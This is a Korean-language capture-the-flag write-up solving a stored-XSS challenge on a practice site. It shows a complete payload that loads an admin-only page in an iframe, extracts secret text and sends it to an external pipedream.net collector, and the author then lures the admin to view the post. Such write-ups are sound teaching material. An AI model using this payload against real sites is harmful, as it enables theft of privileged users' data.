
문제를 살펴보면 총 4개의 페이지가 있고 중요한 정보가 있는 페이지는 관리자만 접속할 수 있고 이 페이지와 똑같은 페이지가 하나 더 존재한다. 일단 페이지를 하나하나 확인해 보자.

중요 정보가 있는 페이지 접속 시 권한이 없다고 나온다 문제에 나온 대로 관리자만 접속할 수 있나 보다.

중요 정보가 있는 페이지와 똑같은 페이지를 살펴보면 내 정보 부분에 This is a Very Secret info. 부분이 의심이 된다. 아마 중요 정보가 있는 페이지에 내 정보 부분에 중요 정보가 있는 것으로 예상된다.

This is a Very Secret info. 부분을 보면 p 태그 안에 card-text라는 class명을 가지고 있는 걸 알 수 있다. 해당 속성을 이용해 값을 추출하면 될 거 같다.

document.getElementsByClassName("card-text")[1].innerHTML;
card-text라는 class명을 사용하는 태그 중에 두 번째 값에 innerHTML을 사용해 문자열만 추출해 주었다. 이제 다른 페이지에서 xss point를 찾아보자.

http://ctf.segfaulthub.com:4343/scriptPrac/
해당 url에서 게시판 글 작성 페이지에 글 내용 부분에 xss가 취약점이 있는 걸 확인했다. 하지만 공격을 시도해야 하는 사이트가 해당 도메인과 다르기 때문에 iframe을 사용해 해당 페이지에 공격 페이지를 띄워서 공격을 할 생각이다.
iframe 이란?
웹 페이지 내에 다른 HTML 페이지를 내장할 수 있는 HTML 태그 즉, 하나의 웹 페이지 내에 다른 웹 페이지를 독립적인 프레임으로 삽입할 수 있다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetPage"></iframe>
<script>
var iframe = document.getElementById('targetPage');
iframe.onload = function() {
var iframeDoc = iframe.contentDocument;
var secretData = iframeDoc.getElementsByClassName('card-text')[1].innerHTML;
new Image().src = 'https://eo6wq28znszxjxz.m.pipedream.net/?data=' + secretData;
};
</script>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetPage"></iframe>
- 정보를 추출해야 하는 해당 페이지를 iframe 내에서 로드
- id="targetPage"는 이 iframe을 JavaScript에서 식별할 수 있도록 하는 고유 식별자
var iframe = document.getElementById('targetPage');
- document.getElementById('targetPage'): id="targetPage"인 iframe 요소를 JavaScript에서 가져옴 이 변수 iframe은 iframe 요소 자체를 참조하게 됨
iframe.onload = function() {
- iframe.onload: iframe이 로드된 후 실행될 이벤트 리스너 즉, iframe의 콘텐츠가 완전히 로드되었을 때 이 함수가 실행됨
var iframeDoc = iframe.contentDocument;
- iframe.contentDocument: iframe 내의 HTML 문서 객체를 가져옴 이를 통해 iframe 내부의 DOM을 조작하거나 데이터를 추출할 수 있음
var secretData = iframeDoc.getElementsByClassName('card-text')[1].innerHTML;
- iframe 내에서 클래스명이 card-text인 요소 중 두 번째 값을 가져옴
- 선택된 card-text 클래스의 두 번째 요소의 HTML 내용을 가져옴

해당 스크립트가 작성된 게시글 링크를 관리자에게 전송

서버에서 flag를 확인할 수 있다!